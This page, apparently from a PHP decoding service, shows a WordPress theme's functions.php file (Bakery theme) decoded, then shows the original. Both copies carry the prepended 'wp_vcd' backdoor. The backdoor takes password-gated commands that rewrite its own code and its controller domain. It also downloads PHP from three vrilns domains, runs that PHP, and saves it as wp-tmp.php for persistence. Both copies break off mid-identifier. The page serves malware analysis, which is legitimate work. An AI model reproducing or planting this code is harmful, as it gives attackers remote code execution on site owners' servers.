Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['passw..

Decoded Output download

<?php 
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '77182963e5afee7c3e56ab5d0a0263ee')) 
	{ 
$div_code_name="wp_vcd"; 
		switch ($_REQUEST['action']) 
			{ 
 
				 
 
 
 
 
				case 'change_domain'; 
					if (isset($_REQUEST['newdomain'])) 
						{ 
							 
							if (!empty($_REQUEST['newdomain'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) 
                                                                                                             { 
 
			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
 
								case 'change_code'; 
					if (isset($_REQUEST['newcode'])) 
						{ 
							 
							if (!empty($_REQUEST['newcode'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) 
                                                                                                             { 
 
			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
				 
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; 
			} 
			 
		die(""); 
	} 
 
 
 
 
 
 
 
 
$div_code_name = "wp_vcd"; 
$funcfile      = __FILE__; 
if(!function_exists('theme_temp_setup')) { 
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; 
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { 
         
        function file_get_contents_tcurl($url) 
        { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); 
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } 
         
        function theme_temp_setup($phpCode) 
        { 
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
           if( fwrite($handle, "<?php
" . $phpCode)) 
		   { 
		   } 
			else 
			{ 
			$tmpfname = tempnam('./', "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
			fwrite($handle, "<?php
" . $phpCode); 
			} 
			fclose($handle); 
            include $tmpfname; 
            unlink($tmpfname); 
            return get_defined_vars(); 
        } 
         
 
$wp_auth_key='f475ef6ba42453eb2fddd44cd5c4b211'; 
        if (($tmpcontent = @file_get_contents("http://www.vrilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.vrilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { 
 
            if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
         
         
        elseif ($tmpcontent = @file_get_contents("http://www.vrilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        }  
		 
		        elseif ($tmpcontent = @file_get_contents("http://www.vrilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent)); 
            
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        }  
         
         
         
         
         
    } 
} 
 
//$start_wp_theme_tmp 
 
 
 
//wp_tmp 
 
 
//$end_wp_theme_tmp 
?><?php 
	/** 
	 * Bakery WordPress Theme 
	 */ 
 
	// Constants 
	define('BAKERY_THEME_DIR', get_template_directory() .'/'); 
	define('BAKERY_THEME_URL', get_template_directory_uri() .'/'); 
	define('BAKERY_THEME_ASSETS', BAKERY_THEME_URL .'assets/'); 
	define('BAKERY_THEME_ADMIN_ASSETS', BAKERY_THEME_URL .'includes/admin/'); 
	define('BAKERY_THEME_VERSION', '2.4'); 
 
	// Core Files 
	require_once(BAKERY_THEME_DIR .'includes/helpers.php'); 
	require_once(BAKERY_THEME_DIR .'includes/functions.php'); 
	require_once(BAKERY_THEME_DIR .'includes/license.php'); 
	require_once(BAKERY_THEME_DIR .'includes/actions.php'); 
	require_once(BAKERY_THEME_DIR .'includes/filters.php'); 
 
	// Meta 
	require_once(BAKERY_THEME_DIR .'includes/meta/config.php'); 
	require_once(BAKERY_THEME_DIR .'includes/meta/page-header-settings.php'); 
	require_once(BAKERY_THEME_DIR .'includes/meta/page-menu.php'); 
	require_once(BAKERY_THEME_DIR .'includes/meta/page-sidebar.php'); 
	require_once(BAKERY_THEME_DIR .'includes/meta/post-meta.php'); 
 
	// Library Files 
	require_once(BAKERY_THEME_DIR .'includes/lib/breadcrumbs.php'); 
	require_once(BAKERY_THEME_DIR .'includes/lib/class-tgm-plugin-activation.php'); 
 
	// Custom CSS 
	require_once(BAKERY_THEME_DIR .'includes/custom-css.php'); 
 
	// VC Files 
	if ( class_exists('Vc_Manager') ) { 
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/config.php'); 
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/params.php'); 
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/modify.php'); 
	} else { 
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/functions.php'); 
	} 
 
	// WC Files 
	if ( class_exists('WooCommerce') ) { 
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/custom-css.php'); 
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/functions.php'); 
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/actions.php'); 
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/filters.php'); 
	} 
 
	// ---------------------------------------------- Functions ---------------------------------------------- 
 
	// Main Menu Wrap 
	if ( !function_exists('bakery_main_menu_wrap') ) { 
		function bakery_main_menu_wrap() { 
			$wrap  = '<ul id="%1$s" class="%2$s'. (trim(bakery_get_option( array('main-sub-menu-typography', 'text-align') )) != '' ? ' vu_mm-submenu-'. bakery_get_option( array('main-sub-menu-typography', 'text-align') ) : '') .'">'; 
			$wrap .= '%3$s'; 
 
			$wrap .= '</ul>'; 
 
			return $wrap; 
		} 
	} 
 
	// Main Menu fallback_cb 
	if ( !function_exists('bakery_main_menu_fallback_cb') ) { 
		function bakery_main_menu_fallback_cb($menu_location = 'main-menu-full') { 
			$nav_menu_locations = get_theme_mod('nav_menu_locations'); 
			 
			if ( !isset($nav_menu_locations[$menu_location]) or $nav_menu_locations[$menu_location] == 0 ) { 
				$menu = wp_page_menu( 
					array( 
						'menu_id'     => 'vu_mm-top', 
						'menu_class'  => 'vu_mm-list vu_mm-top list-unstyled', 
						'container'   => 'ul', 
						'echo'        => false, 
						'before'      => '', 
						'after'       => '' 
					) 
				); 
 
				$menu = preg_replace("/class='children'/", "class='children sub-menu'", $menu ); 
 
				$menu = preg_replace("/page_item_has_children/", "page_item_has_children menu-item-has-children", $menu ); 
 
				echo preg_replace("/current_page_item/", "current_page_item current-menu-item", $menu ); 
			} 
		} 
	} 
 
	// Print Page Header 
	if ( !function_exists('bakery_page_header') ) { 
		function bakery_page_header($post_id, $title = null, $subtitle = null, $bg = null) { 
			$bakery_page_header_settings = bakery_get_post_meta( $post_id, 'bakery_page_header_settings' ); 
 
			if ( isset($bakery_page_header_settings['show']) && ( $bakery_page_header_settings['show'] == 'no' || ( $bakery_page_header_settings['show'] == 'inherit' && bakery_get_option('page-header-show') == false ) ) ) { 
				return; 
			} 
 
			$page_header_style = ( !isset($bakery_page_header_settings['style']) || $bakery_page_header_settings['style'] == 'inherit' || empty($bakery_page_header_settings['style']) ) ? bakery_get_option('page-header-style') : $bakery_page_header_settings['style']; 
 
			if ( empty($title) ) { 
				if ( !empty($bakery_page_header_settings['title']) ) { 
					$title = $bakery_page_header_settings['title']; 
				} else if ( is_front_page() and is_home() ) { 
					$title = esc_html__('Latest Posts', 'bakery'); 
				} else if ( is_single() and get_post_type() != 'product' ) { 
					$title = ( get_option('page_for_posts', false) != false ) ? get_the_title( get_option('page_for_posts') ) : esc_html__('Latest Posts', 'bakery'); 
				} else { 
					$title = get_the_title($post_id); 
				} 
			} 
 
			$title = apply_filters('bakery_page_header_title', $title, $post_id); 
 
			if ( empty($subtitle) ) { 
				$subtitle = $bakery_page_header_settings['subtitle']; 
			} 
 
			$subtitle = apply_filters('bakery_page_header_subtitle', $subtitle, $post_id); 
 
			$breadcrumbs = ( isset($bakery_page_header_settings['breadcrumbs']) && ( $bakery_page_header_settings['breadcrumbs'] == 'yes' || ( $bakery_page_header_settings['breadcrumbs'] == 'inherit' && bakery_get_option('page-header-breadcrumbs') == true ) ) ) ? true : false; 
 
			$height = ( empty($bakery_page_header_settings['height']) ) ? bakery_get_option('page-header-height') : $bakery_page_header_settings['height']; 
 
			$height = apply_filters('bakery_page_header_height', $height, $post_id); 
 
			if ( empty($bg) ) { 
				$bg = absint($bakery_page_header_settings['bg']); 
			} 
 
			if ( empty($bg) ) { 
				$bg = absint(bakery_get_option( array('page-header-bg-image', 'id') )); 
			} 
 
			$bg = apply_filters('bakery_page_header_bg', $bg, $post_id); 
 
			$parallax = ( isset($bakery_page_header_settings['parallax']) && ( $bakery_page_header_settings['parallax'] == 'yes' || ( $bakery_page_header_settings['parallax'] == 'inherit' && bakery_get_option('page-header-parallax') == true ) ) ) ? true : false; 
 
			$parallax = apply_filters('bakery_page_header_parallax', $parallax, $post_id); 
 
			$color_overlay = ( !empty($bakery_page_header_settings['color-overlay']) ) ? $bakery_page_header_settings['color-overlay'] : ( (trim(bakery_get_option('page-header-color-overlay') != '') ) ? 'rgba('. bakery_hex2rgb( bakery_get_option('page-header-color-overlay'), true ) .','. bakery_get_option('page-header-color-overlay-opacity') .')' : '' ); 
 
			$color_overlay = apply_filters('bakery_page_header_color_overlay', $color_overlay, $post_id); 
 
			$extra_class = array(); 
 
			if ( bakery_get_option( array('page-header-others-options', 'border') ) == true ) { 
				array_push($extra_class, 'vu_ph-with-border'); 
			} 
 
			if ( bakery_get_option( array('page-header-others-options', 'pattern') ) == true ) { 
				array_push($extra_class, 'vu_ph-with-pattern'); 
			} 
 
			?> 
				<!-- Page Header --> 
				<section class="vu_page-header vu_ph-style-<?php echo esc_attr($page_header_style); ?><?php echo ( !empty($bg) ) ? ' vu_ph-with-bg' : ''; ?><?php echo ( !empty($bg) && $parallax != true ) ? ' vu_lazy-load' : ''; ?><?php echo (isset($extra_class)) ? ' '. @implode(' ', $extra_class) : ''; ?>"<?php echo ( !empty($bg) && $parallax == true ) ? ' data-parallax="scroll" data-parallax-image="'. bakery_get_attachment_image_src($bg, 'full') .'" data-parallax-speed="1"' : ' data-img="'. bakery_get_attachment_image_src($bg, 'full') .'"'; ?>> 
					<style scoped> 
						.vu_page-header { height: <?php echo absint($height); ?>px; } 
						<?php echo ( !empty($color_overlay) && !empty($bg) ) ? '.vu_page-header.vu_ph-with-bg:before { background-color: '.esc_attr($color_overlay) .'; }' : ''; ?> 
					</style> 
					<div class="vu_ph-container"> 
						<div class="vu_ph-content"> 
							<div class="container"> 
								<?php if ( !empty($title) ) : ?> 
									<h1 class="vu_ph-title"><?php echo esc_html($title); ?></h1> 
								<?php endif; ?> 
 
								<?php if ( $page_header_style == '1' && $breadcrumbs != true ) : ?> 
									<div class="vu_ph-breadcrumbs"> 
										<?php bakery_breadcrumbs(); ?> 
									</div> 
								<?php endif; ?> 
 
								<?php if ( $page_header_style == '2' && !empty($subtitle) ) : ?> 
									<span class="vu_ph-subtitle"><?php echo nl2br($subtitle); ?></span> 
								<?php endif; ?> 
							</div> 
						</div> 
					</div> 
				</section> 
				<!-- /Page Header --> 
			<?php  
		} 
	} 
 
	// Get Page Header Background 
	if ( !function_exists('bakery_get_page_header_bg') ) { 
		function bakery_get_page_header_bg($post_id){ 
			$bakery_page_header_settings = bakery_get_post_meta( $post_id, 'bakery_page_header_settings' ); 
 
			if ( isset($bakery_page_header_settings['bg']) and !empty($bakery_page_header_settings['bg']) ){ 
				return absint($bakery_page_header_settings['bg']); 
			} 
 
			return false; 
		} 
	} 
 
	// Get the URL (src) for an image attachment 
	if ( !function_exists('bakery_get_attachment_image_src') ){ 
		function bakery_get_attachment_image_src($attachment_id, $size = 'thumbnail', $icon = false, $return = 'url'){ 
			$image_attributes = wp_get_attachment_image_src( $attachment_id, $size, $icon ); 
			 
			if ( $image_attributes ) { 
				switch ($return) { 
					case 'all': 
						return $image_attributes; 
						break; 
					case 'url': 
						return esc_url( $image_attripp ?>

Did this file decode correctly?

Original Code

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '77182963e5afee7c3e56ab5d0a0263ee'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='f475ef6ba42453eb2fddd44cd5c4b211';
        if (($tmpcontent = @file_get_contents("http://www.vrilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.vrilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.vrilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.vrilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?><?php
	/**
	 * Bakery WordPress Theme
	 */

	// Constants
	define('BAKERY_THEME_DIR', get_template_directory() .'/');
	define('BAKERY_THEME_URL', get_template_directory_uri() .'/');
	define('BAKERY_THEME_ASSETS', BAKERY_THEME_URL .'assets/');
	define('BAKERY_THEME_ADMIN_ASSETS', BAKERY_THEME_URL .'includes/admin/');
	define('BAKERY_THEME_VERSION', '2.4');

	// Core Files
	require_once(BAKERY_THEME_DIR .'includes/helpers.php');
	require_once(BAKERY_THEME_DIR .'includes/functions.php');
	require_once(BAKERY_THEME_DIR .'includes/license.php');
	require_once(BAKERY_THEME_DIR .'includes/actions.php');
	require_once(BAKERY_THEME_DIR .'includes/filters.php');

	// Meta
	require_once(BAKERY_THEME_DIR .'includes/meta/config.php');
	require_once(BAKERY_THEME_DIR .'includes/meta/page-header-settings.php');
	require_once(BAKERY_THEME_DIR .'includes/meta/page-menu.php');
	require_once(BAKERY_THEME_DIR .'includes/meta/page-sidebar.php');
	require_once(BAKERY_THEME_DIR .'includes/meta/post-meta.php');

	// Library Files
	require_once(BAKERY_THEME_DIR .'includes/lib/breadcrumbs.php');
	require_once(BAKERY_THEME_DIR .'includes/lib/class-tgm-plugin-activation.php');

	// Custom CSS
	require_once(BAKERY_THEME_DIR .'includes/custom-css.php');

	// VC Files
	if ( class_exists('Vc_Manager') ) {
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/config.php');
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/params.php');
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/modify.php');
	} else {
		require_once(BAKERY_THEME_DIR .'includes/vc-addons/functions.php');
	}

	// WC Files
	if ( class_exists('WooCommerce') ) {
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/custom-css.php');
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/functions.php');
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/actions.php');
		require_once(BAKERY_THEME_DIR .'includes/wc-addons/filters.php');
	}

	// ---------------------------------------------- Functions ----------------------------------------------

	// Main Menu Wrap
	if ( !function_exists('bakery_main_menu_wrap') ) {
		function bakery_main_menu_wrap() {
			$wrap  = '<ul id="%1$s" class="%2$s'. (trim(bakery_get_option( array('main-sub-menu-typography', 'text-align') )) != '' ? ' vu_mm-submenu-'. bakery_get_option( array('main-sub-menu-typography', 'text-align') ) : '') .'">';
			$wrap .= '%3$s';

			$wrap .= '</ul>';

			return $wrap;
		}
	}

	// Main Menu fallback_cb
	if ( !function_exists('bakery_main_menu_fallback_cb') ) {
		function bakery_main_menu_fallback_cb($menu_location = 'main-menu-full') {
			$nav_menu_locations = get_theme_mod('nav_menu_locations');
			
			if ( !isset($nav_menu_locations[$menu_location]) or $nav_menu_locations[$menu_location] == 0 ) {
				$menu = wp_page_menu(
					array(
						'menu_id'     => 'vu_mm-top',
						'menu_class'  => 'vu_mm-list vu_mm-top list-unstyled',
						'container'   => 'ul',
						'echo'        => false,
						'before'      => '',
						'after'       => ''
					)
				);

				$menu = preg_replace("/class='children'/", "class='children sub-menu'", $menu );

				$menu = preg_replace("/page_item_has_children/", "page_item_has_children menu-item-has-children", $menu );

				echo preg_replace("/current_page_item/", "current_page_item current-menu-item", $menu );
			}
		}
	}

	// Print Page Header
	if ( !function_exists('bakery_page_header') ) {
		function bakery_page_header($post_id, $title = null, $subtitle = null, $bg = null) {
			$bakery_page_header_settings = bakery_get_post_meta( $post_id, 'bakery_page_header_settings' );

			if ( isset($bakery_page_header_settings['show']) && ( $bakery_page_header_settings['show'] == 'no' || ( $bakery_page_header_settings['show'] == 'inherit' && bakery_get_option('page-header-show') == false ) ) ) {
				return;
			}

			$page_header_style = ( !isset($bakery_page_header_settings['style']) || $bakery_page_header_settings['style'] == 'inherit' || empty($bakery_page_header_settings['style']) ) ? bakery_get_option('page-header-style') : $bakery_page_header_settings['style'];

			if ( empty($title) ) {
				if ( !empty($bakery_page_header_settings['title']) ) {
					$title = $bakery_page_header_settings['title'];
				} else if ( is_front_page() and is_home() ) {
					$title = esc_html__('Latest Posts', 'bakery');
				} else if ( is_single() and get_post_type() != 'product' ) {
					$title = ( get_option('page_for_posts', false) != false ) ? get_the_title( get_option('page_for_posts') ) : esc_html__('Latest Posts', 'bakery');
				} else {
					$title = get_the_title($post_id);
				}
			}

			$title = apply_filters('bakery_page_header_title', $title, $post_id);

			if ( empty($subtitle) ) {
				$subtitle = $bakery_page_header_settings['subtitle'];
			}

			$subtitle = apply_filters('bakery_page_header_subtitle', $subtitle, $post_id);

			$breadcrumbs = ( isset($bakery_page_header_settings['breadcrumbs']) && ( $bakery_page_header_settings['breadcrumbs'] == 'yes' || ( $bakery_page_header_settings['breadcrumbs'] == 'inherit' && bakery_get_option('page-header-breadcrumbs') == true ) ) ) ? true : false;

			$height = ( empty($bakery_page_header_settings['height']) ) ? bakery_get_option('page-header-height') : $bakery_page_header_settings['height'];

			$height = apply_filters('bakery_page_header_height', $height, $post_id);

			if ( empty($bg) ) {
				$bg = absint($bakery_page_header_settings['bg']);
			}

			if ( empty($bg) ) {
				$bg = absint(bakery_get_option( array('page-header-bg-image', 'id') ));
			}

			$bg = apply_filters('bakery_page_header_bg', $bg, $post_id);

			$parallax = ( isset($bakery_page_header_settings['parallax']) && ( $bakery_page_header_settings['parallax'] == 'yes' || ( $bakery_page_header_settings['parallax'] == 'inherit' && bakery_get_option('page-header-parallax') == true ) ) ) ? true : false;

			$parallax = apply_filters('bakery_page_header_parallax', $parallax, $post_id);

			$color_overlay = ( !empty($bakery_page_header_settings['color-overlay']) ) ? $bakery_page_header_settings['color-overlay'] : ( (trim(bakery_get_option('page-header-color-overlay') != '') ) ? 'rgba('. bakery_hex2rgb( bakery_get_option('page-header-color-overlay'), true ) .','. bakery_get_option('page-header-color-overlay-opacity') .')' : '' );

			$color_overlay = apply_filters('bakery_page_header_color_overlay', $color_overlay, $post_id);

			$extra_class = array();

			if ( bakery_get_option( array('page-header-others-options', 'border') ) == true ) {
				array_push($extra_class, 'vu_ph-with-border');
			}

			if ( bakery_get_option( array('page-header-others-options', 'pattern') ) == true ) {
				array_push($extra_class, 'vu_ph-with-pattern');
			}

			?>
				<!-- Page Header -->
				<section class="vu_page-header vu_ph-style-<?php echo esc_attr($page_header_style); ?><?php echo ( !empty($bg) ) ? ' vu_ph-with-bg' : ''; ?><?php echo ( !empty($bg) && $parallax != true ) ? ' vu_lazy-load' : ''; ?><?php echo (isset($extra_class)) ? ' '. @implode(' ', $extra_class) : ''; ?>"<?php echo ( !empty($bg) && $parallax == true ) ? ' data-parallax="scroll" data-parallax-image="'. bakery_get_attachment_image_src($bg, 'full') .'" data-parallax-speed="1"' : ' data-img="'. bakery_get_attachment_image_src($bg, 'full') .'"'; ?>>
					<style scoped>
						.vu_page-header { height: <?php echo absint($height); ?>px; }
						<?php echo ( !empty($color_overlay) && !empty($bg) ) ? '.vu_page-header.vu_ph-with-bg:before { background-color: '.esc_attr($color_overlay) .'; }' : ''; ?>
					</style>
					<div class="vu_ph-container">
						<div class="vu_ph-content">
							<div class="container">
								<?php if ( !empty($title) ) : ?>
									<h1 class="vu_ph-title"><?php echo esc_html($title); ?></h1>
								<?php endif; ?>

								<?php if ( $page_header_style == '1' && $breadcrumbs != true ) : ?>
									<div class="vu_ph-breadcrumbs">
										<?php bakery_breadcrumbs(); ?>
									</div>
								<?php endif; ?>

								<?php if ( $page_header_style == '2' && !empty($subtitle) ) : ?>
									<span class="vu_ph-subtitle"><?php echo nl2br($subtitle); ?></span>
								<?php endif; ?>
							</div>
						</div>
					</div>
				</section>
				<!-- /Page Header -->
			<?php 
		}
	}

	// Get Page Header Background
	if ( !function_exists('bakery_get_page_header_bg') ) {
		function bakery_get_page_header_bg($post_id){
			$bakery_page_header_settings = bakery_get_post_meta( $post_id, 'bakery_page_header_settings' );

			if ( isset($bakery_page_header_settings['bg']) and !empty($bakery_page_header_settings['bg']) ){
				return absint($bakery_page_header_settings['bg']);
			}

			return false;
		}
	}

	// Get the URL (src) for an image attachment
	if ( !function_exists('bakery_get_attachment_image_src') ){
		function bakery_get_attachment_image_src($attachment_id, $size = 'thumbnail', $icon = false, $return = 'url'){
			$image_attributes = wp_get_attachment_image_src( $attachment_id, $size, $icon );
			
			if ( $image_attributes ) {
				switch ($return) {
					case 'all':
						return $image_attributes;
						break;
					case 'url':
						return esc_url( $image_attripp

Function Calls

None

Variables

None

Stats

MD5 d65941b646a108941c300508d3e225cc
Eval Count 0
Decode Time 141 ms